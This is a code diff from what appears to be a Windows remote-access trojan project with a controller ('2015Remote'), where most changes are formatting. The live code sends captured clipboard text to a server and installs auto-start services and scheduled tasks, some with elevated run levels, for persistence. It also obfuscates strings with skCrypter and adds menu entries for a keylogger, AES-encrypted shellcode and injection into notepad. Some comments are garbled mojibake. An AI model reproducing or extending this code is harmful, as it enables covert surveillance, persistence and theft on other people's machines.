||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
||||||
if (pWideStr == NULL) {
|
if (pWideStr == NULL) {
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Unicode 转 UTF-8
|
// Unicode 转 UTF-8
|
||||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
|
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
|
||||||
if (utf8Len <= 0) {
|
if (utf8Len <= 0) {
|
||||||
GlobalUnlock(hGlobal);
|
GlobalUnlock(hGlobal);
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (fast && utf8Len > 200 * 1024) {
|
if (fast && utf8Len > 200 * 1024) {
|
||||||
Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len);
|
Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len);
|
||||||
GlobalUnlock(hGlobal);
|
GlobalUnlock(hGlobal);
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
LPBYTE szBuffer = new BYTE[utf8Len + 1];
|
LPBYTE szBuffer = new BYTE[utf8Len + 1];
|
||||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||||
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL);
|
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL);
|
||||||
|
|
||||||
GlobalUnlock(hGlobal);
|
GlobalUnlock(hGlobal);
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
|
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1);
|
m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1);
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -17,7 +17,8 @@ static ServiceLogFunc Log = NULL;
|
|||||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||||
|
|
||||||
void MyLog(const char* file, int line, const char* format, ...) {
|
void MyLog(const char* file, int line, const char* format, ...)
|
||||||
|
{
|
||||||
if (Log == NULL) {
|
if (Log == NULL) {
|
||||||
return; // 没有设置日志回调,直接返回
|
return; // 没有设置日志回调,直接返回
|
||||||
}
|
}
|
||||||
@@ -348,16 +349,16 @@ BOOL ServiceWrapper_Install(void)
|
|||||||
|
|
||||||
for (int i = 0; i < retryCount; i++) {
|
for (int i = 0; i < retryCount; i++) {
|
||||||
schService = CreateService(
|
schService = CreateService(
|
||||||
schSCManager,
|
schSCManager,
|
||||||
g_MyService.Name,
|
g_MyService.Name,
|
||||||
g_MyService.Display,
|
g_MyService.Display,
|
||||||
SERVICE_ALL_ACCESS,
|
SERVICE_ALL_ACCESS,
|
||||||
SERVICE_WIN32_OWN_PROCESS,
|
SERVICE_WIN32_OWN_PROCESS,
|
||||||
SERVICE_AUTO_START,
|
SERVICE_AUTO_START,
|
||||||
SERVICE_ERROR_NORMAL,
|
SERVICE_ERROR_NORMAL,
|
||||||
szPath,
|
szPath,
|
||||||
NULL, NULL, NULL, NULL, NULL
|
NULL, NULL, NULL, NULL, NULL
|
||||||
);
|
);
|
||||||
if (schService != NULL) {
|
if (schService != NULL) {
|
||||||
break; // 成功
|
break; // 成功
|
||||||
}
|
}
|
||||||
@@ -509,14 +510,14 @@ BOOL ServiceWrapper_Uninstall(void)
|
|||||||
Mprintf("SUCCESS: Service uninstalled successfully\n");
|
Mprintf("SUCCESS: Service uninstalled successfully\n");
|
||||||
} else {
|
} else {
|
||||||
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
|
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
|
||||||
result = FALSE;
|
result = FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
CloseServiceHandle(schService);
|
CloseServiceHandle(schService);
|
||||||
CloseServiceHandle(schSCManager);
|
CloseServiceHandle(schSCManager);
|
||||||
|
|
||||||
Mprintf("=== Uninstallation Complete ===\n");
|
Mprintf("=== Uninstallation Complete ===\n");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
void PrintUsage()
|
void PrintUsage()
|
||||||
@@ -538,8 +539,8 @@ BOOL RunAsWindowsService(int argc, const char* argv[])
|
|||||||
char curPath[MAX_PATH] = { 0 };
|
char curPath[MAX_PATH] = { 0 };
|
||||||
|
|
||||||
BOOL b = ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
BOOL b = ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||||
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
|
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
|
||||||
registered ? "Yes" : "No", running ? "Yes" : "No");
|
registered ? "Yes" : "No", running ? "Yes" : "No");
|
||||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||||
|
|
||||||
if (registered) {
|
if (registered) {
|
||||||
@@ -549,7 +550,7 @@ BOOL RunAsWindowsService(int argc, const char* argv[])
|
|||||||
// 使用不区分大小写的比较
|
// 使用不区分大小写的比较
|
||||||
_strlwr(servicePath);
|
_strlwr(servicePath);
|
||||||
_strlwr(curPath);
|
_strlwr(curPath);
|
||||||
BOOL same = (strstr(servicePath, curPath) != 0);
|
BOOL same = (strstr(servicePath, curPath) != 0);
|
||||||
if (registered && !same) {
|
if (registered && !same) {
|
||||||
BOOL r = ServiceWrapper_Uninstall();
|
BOOL r = ServiceWrapper_Uninstall();
|
||||||
Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
|
Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
|
||||||
|
|||||||
@@ -41,8 +41,8 @@ struct CONNECT_ADDRESS {
|
|||||||
char runningType; // 运行方式
|
char runningType; // 运行方式
|
||||||
char szGroupName[24]; // 分组名称
|
char szGroupName[24]; // 分组名称
|
||||||
char runasAdmin; // 是否提升权限运行
|
char runasAdmin; // 是否提升权限运行
|
||||||
char szReserved[11]; // 占位,使结构体占据300字节
|
char szReserved[11]; // 占位,使结构体占据300字节
|
||||||
uint64_t clientID; // 客户端唯一标识
|
uint64_t clientID; // 客户端唯一标识
|
||||||
uint64_t parentHwnd; // 父进程窗口句柄
|
uint64_t parentHwnd; // 父进程窗口句柄
|
||||||
uint64_t superAdmin; // 管理员主控ID
|
uint64_t superAdmin; // 管理员主控ID
|
||||||
char pwdHash[64]; // 密码哈希
|
char pwdHash[64]; // 密码哈希
|
||||||
|
|||||||
@@ -105,8 +105,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE);
|
pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE);
|
||||||
pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
|
pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
|
||||||
pSettings->lpVtbl->Release(pSettings);
|
pSettings->lpVtbl->Release(pSettings);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("获取配置设置失败,错误代码:%ld\n", hr);
|
Mprintf("获取配置设置失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -130,8 +129,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc);
|
pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc);
|
||||||
SysFreeString(bDesc);
|
SysFreeString(bDesc);
|
||||||
pRegInfo->lpVtbl->Release(pRegInfo);
|
pRegInfo->lpVtbl->Release(pRegInfo);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("获取注册信息失败,错误代码:%ld\n", hr);
|
Mprintf("获取注册信息失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -159,16 +157,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
pTrigger->lpVtbl->Release(pTrigger);
|
pTrigger->lpVtbl->Release(pTrigger);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("无法设置任务触发器,错误代码:%ld\n", hr);
|
Mprintf("无法设置任务触发器,错误代码:%ld\n", hr);
|
||||||
pTask->lpVtbl->Release(pTask);
|
pTask->lpVtbl->Release(pTask);
|
||||||
pService->lpVtbl->Release(pService);
|
pService->lpVtbl->Release(pService);
|
||||||
CoUninitialize();
|
CoUninitialize();
|
||||||
return 6;
|
return 6;
|
||||||
}
|
}
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("获取任务触发失败,错误代码:%ld\n", hr);
|
Mprintf("获取任务触发失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -188,18 +184,15 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pExecAction->lpVtbl->put_Path(pExecAction, path);
|
pExecAction->lpVtbl->put_Path(pExecAction, path);
|
||||||
SysFreeString(path);
|
SysFreeString(path);
|
||||||
pExecAction->lpVtbl->Release(pExecAction);
|
pExecAction->lpVtbl->Release(pExecAction);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("QueryInterface 调用失败,错误代码:%ld\n", hr);
|
Mprintf("QueryInterface 调用失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
pAction->lpVtbl->Release(pAction);
|
pAction->lpVtbl->Release(pAction);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("创建任务动作失败,错误代码:%ld\n", hr);
|
Mprintf("创建任务动作失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
pActionCollection->lpVtbl->Release(pActionCollection);
|
pActionCollection->lpVtbl->Release(pActionCollection);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("获取任务动作失败,错误代码:%ld\n", hr);
|
Mprintf("获取任务动作失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -211,8 +204,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
if (runasAdmin) Mprintf("获取任务权限失败,错误代码:%ld\n", hr);
|
if (runasAdmin) Mprintf("获取任务权限失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -259,16 +251,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
|
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("注册计划任务失败,错误代码:%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
|
Mprintf("注册计划任务失败,错误代码:%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
|
||||||
}
|
}
|
||||||
|
|
||||||
VariantClear(&vUser);
|
VariantClear(&vUser);
|
||||||
SysFreeString(bstrTaskName);
|
SysFreeString(bstrTaskName);
|
||||||
pFolder->lpVtbl->Release(pFolder);
|
pFolder->lpVtbl->Release(pFolder);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("获取任务目录失败,错误代码:%ld\n", hr);
|
Mprintf("获取任务目录失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -603,7 +603,7 @@ public:
|
|||||||
char protoType; // Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char protoType; // Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
|
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
|
||||||
char szGroupName[24]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char szGroupName[24]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char runasAdmin; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char runasAdmin; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char szReserved[11]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
char szReserved[11]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||||
uint64_t clientID; // <20>ͻ<EFBFBD><CDBB><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
uint64_t clientID; // <20>ͻ<EFBFBD><CDBB><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
||||||
uint64_t parentHwnd; // <20><><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD><CCB4>ھ<EFBFBD><DABE><EFBFBD>
|
uint64_t parentHwnd; // <20><><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD><CCB4>ھ<EFBFBD><DABE><EFBFBD>
|
||||||
@@ -1140,27 +1140,33 @@ public:
|
|||||||
typedef struct CharMsg {
|
typedef struct CharMsg {
|
||||||
char data[256];
|
char data[256];
|
||||||
bool needFree;
|
bool needFree;
|
||||||
CharMsg(const char* msg, bool free = true) {
|
CharMsg(const char* msg, bool free = true)
|
||||||
|
{
|
||||||
memset(data, 0, sizeof(data));
|
memset(data, 0, sizeof(data));
|
||||||
strcpy_s(data, msg);
|
strcpy_s(data, msg);
|
||||||
needFree = free;
|
needFree = free;
|
||||||
}
|
}
|
||||||
CharMsg(int len, bool free = true) {
|
CharMsg(int len, bool free = true)
|
||||||
|
{
|
||||||
memset(data, 0, sizeof(data));
|
memset(data, 0, sizeof(data));
|
||||||
needFree = free;
|
needFree = free;
|
||||||
}
|
}
|
||||||
}CharMsg;
|
} CharMsg;
|
||||||
|
|
||||||
typedef struct ClientMsg {
|
typedef struct ClientMsg {
|
||||||
char cmd;
|
char cmd;
|
||||||
char title[31];
|
char title[31];
|
||||||
char text[512];
|
char text[512];
|
||||||
ClientMsg() { memset(this, 0, sizeof(*this)); }
|
ClientMsg()
|
||||||
ClientMsg(const char* title, const char* text) {
|
{
|
||||||
|
memset(this, 0, sizeof(*this));
|
||||||
|
}
|
||||||
|
ClientMsg(const char* title, const char* text)
|
||||||
|
{
|
||||||
cmd = TOKEN_CLIENT_MSG;
|
cmd = TOKEN_CLIENT_MSG;
|
||||||
strcpy_s(this->title, title ? title : "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ");
|
strcpy_s(this->title, title ? title : "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ");
|
||||||
strcpy_s(this->text, text ? text : "");
|
strcpy_s(this->text, text ? text : "");
|
||||||
}
|
}
|
||||||
}ClientMsg;
|
} ClientMsg;
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -91,9 +91,9 @@ public:
|
|||||||
auto timestamp = getCurrentTimestamp();
|
auto timestamp = getCurrentTimestamp();
|
||||||
std::string id = pid.empty() ? "" : "[" + pid + "]";
|
std::string id = pid.empty() ? "" : "[" + pid + "]";
|
||||||
|
|
||||||
std::string logEntry = file && line ?
|
std::string logEntry = file && line ?
|
||||||
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
||||||
id + "[" + timestamp + "] " + message;
|
id + "[" + timestamp + "] " + message;
|
||||||
if (enable) {
|
if (enable) {
|
||||||
if (running) {
|
if (running) {
|
||||||
std::lock_guard<std::mutex> lock(queueMutex);
|
std::lock_guard<std::mutex> lock(queueMutex);
|
||||||
@@ -261,11 +261,13 @@ inline const char* getFileName(const char* path)
|
|||||||
|
|
||||||
#endif // _WIN32
|
#endif // _WIN32
|
||||||
|
|
||||||
inline void Log(const char* message) {
|
inline void Log(const char* message)
|
||||||
|
{
|
||||||
return Logger::getInstance().log(NULL, 0, "%s", message);
|
return Logger::getInstance().log(NULL, 0, "%s", message);
|
||||||
}
|
}
|
||||||
|
|
||||||
inline void Logf(const char* file, int line, const char* format, ...) {
|
inline void Logf(const char* file, int line, const char* format, ...)
|
||||||
|
{
|
||||||
va_list args;
|
va_list args;
|
||||||
va_start(args, format);
|
va_start(args, format);
|
||||||
char message[1024];
|
char message[1024];
|
||||||
|
|||||||
@@ -58,7 +58,8 @@ template<class _Ty>
|
|||||||
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
||||||
|
|
||||||
template <int _size, char _key1, char _key2, typename T>
|
template <int _size, char _key1, char _key2, typename T>
|
||||||
class skCrypter {
|
class skCrypter
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
__forceinline constexpr skCrypter(T* data)
|
__forceinline constexpr skCrypter(T* data)
|
||||||
{
|
{
|
||||||
@@ -123,7 +124,7 @@ private:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
T _storage[_size]{};
|
T _storage[_size] {};
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
BIN
lib/FileUpload_Lib.lib
Normal file
BIN
lib/FileUpload_Lib.lib
Normal file
Binary file not shown.
BIN
lib/FileUpload_Libd.lib
Normal file
BIN
lib/FileUpload_Libd.lib
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
lib/PrivateDesktop_Lib.lib
Normal file
BIN
lib/PrivateDesktop_Lib.lib
Normal file
Binary file not shown.
BIN
lib/PrivateDesktop_Libd.lib
Normal file
BIN
lib/PrivateDesktop_Libd.lib
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -207,40 +207,40 @@ static BOOL IsAgentMode()
|
|||||||
|
|
||||||
BOOL IsRunningAsAdmin()
|
BOOL IsRunningAsAdmin()
|
||||||
{
|
{
|
||||||
BOOL isAdmin = FALSE;
|
BOOL isAdmin = FALSE;
|
||||||
PSID administratorsGroup = NULL;
|
PSID administratorsGroup = NULL;
|
||||||
|
|
||||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||||
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||||
0, 0, 0, 0, 0, 0, &administratorsGroup)) {
|
0, 0, 0, 0, 0, 0, &administratorsGroup)) {
|
||||||
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
|
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
|
||||||
isAdmin = FALSE;
|
isAdmin = FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
FreeSid(administratorsGroup);
|
FreeSid(administratorsGroup);
|
||||||
}
|
}
|
||||||
|
|
||||||
return isAdmin;
|
return isAdmin;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||||
{
|
{
|
||||||
SHELLEXECUTEINFOA shExecInfo;
|
SHELLEXECUTEINFOA shExecInfo;
|
||||||
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
|
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
|
||||||
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
|
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
|
||||||
shExecInfo.fMask = SEE_MASK_DEFAULT;
|
shExecInfo.fMask = SEE_MASK_DEFAULT;
|
||||||
shExecInfo.hwnd = NULL;
|
shExecInfo.hwnd = NULL;
|
||||||
shExecInfo.lpVerb = verb;
|
shExecInfo.lpVerb = verb;
|
||||||
shExecInfo.lpFile = szFilePath;
|
shExecInfo.lpFile = szFilePath;
|
||||||
shExecInfo.nShow = SW_NORMAL;
|
shExecInfo.nShow = SW_NORMAL;
|
||||||
|
|
||||||
return ShellExecuteExA(&shExecInfo);
|
return ShellExecuteExA(&shExecInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CMy2015RemoteApp::InitInstance()
|
BOOL CMy2015RemoteApp::InitInstance()
|
||||||
{
|
{
|
||||||
char curFile[MAX_PATH] = { 0 };
|
char curFile[MAX_PATH] = { 0 };
|
||||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||||
if (!IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) {
|
if (!IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) {
|
||||||
Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n");
|
Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
|
|||||||
Binary file not shown.
@@ -373,6 +373,24 @@ std::string GetParentDir()
|
|||||||
return path;
|
return path;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string CMy2015RemoteDlg::GetHardwareID(int v)
|
||||||
|
{
|
||||||
|
int version = v == -1 ? THIS_CFG.GetInt("settings", "BindType", 0) : v;
|
||||||
|
switch (version) {
|
||||||
|
case 0:
|
||||||
|
return getHardwareID();
|
||||||
|
case 1: {
|
||||||
|
std::string master = THIS_CFG.GetStr("settings", "master");
|
||||||
|
if (!master.empty()) return master;
|
||||||
|
IPConverter cvt;
|
||||||
|
std::string id = cvt.getPublicIP();
|
||||||
|
return id;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||||
{
|
{
|
||||||
auto s = GetMasterHash();
|
auto s = GetMasterHash();
|
||||||
@@ -557,10 +575,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||||
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
||||||
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
// CMy2015RemoteDlg 消息处理程序
|
// CMy2015RemoteDlg 消息处理程序
|
||||||
@@ -797,10 +815,31 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
}
|
}
|
||||||
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
|
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
|
||||||
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
|
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
|
||||||
LeaveCriticalSection(&m_cs);
|
|
||||||
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
|
|
||||||
std::to_string(id).c_str());
|
|
||||||
|
|
||||||
|
bool needNotify = false;
|
||||||
|
NOTIFYICONDATA nidCopy = {};
|
||||||
|
CString infoTitle;
|
||||||
|
CString infoText;
|
||||||
|
if (m_Nid.cbSize == sizeof(NOTIFYICONDATA) && ::IsWindow(m_Nid.hWnd)) {
|
||||||
|
nidCopy = m_Nid; // 复制结构
|
||||||
|
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
|
||||||
|
nidCopy.uFlags |= NIF_INFO;
|
||||||
|
infoTitle = _T("主机上线");
|
||||||
|
infoText = strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]");
|
||||||
|
needNotify = true;
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
|
||||||
|
std::to_string(id).c_str());
|
||||||
|
// 在临界区外填充字符串并调用 Shell_NotifyIcon(避免长时间持有 m_cs)
|
||||||
|
if (needNotify) {
|
||||||
|
CStringA titleA(infoTitle);
|
||||||
|
CStringA textA(infoText);
|
||||||
|
lstrcpynA(nidCopy.szInfoTitle, titleA.GetString(), sizeof(nidCopy.szInfoTitle));
|
||||||
|
lstrcpynA(nidCopy.szInfo, textA.GetString(), sizeof(nidCopy.szInfo));
|
||||||
|
nidCopy.uTimeout = 5000;
|
||||||
|
Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
|
||||||
|
}
|
||||||
SendMasterSettings(ContextObject);
|
SendMasterSettings(ContextObject);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1060,11 +1099,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
AUTO_TICK(500, "");
|
AUTO_TICK(500, "");
|
||||||
CDialogEx::OnInitDialog();
|
CDialogEx::OnInitDialog();
|
||||||
|
|
||||||
UPDATE_SPLASH(15, "正在注册主控信息...");
|
UPDATE_SPLASH(15, "正在注册主控信息...");
|
||||||
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
|
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
|
||||||
THIS_CFG.SetStr("settings", "SN", getDeviceID(getHwFallback));
|
THIS_CFG.SetStr("settings", "SN", getDeviceID(GetHardwareID()));
|
||||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
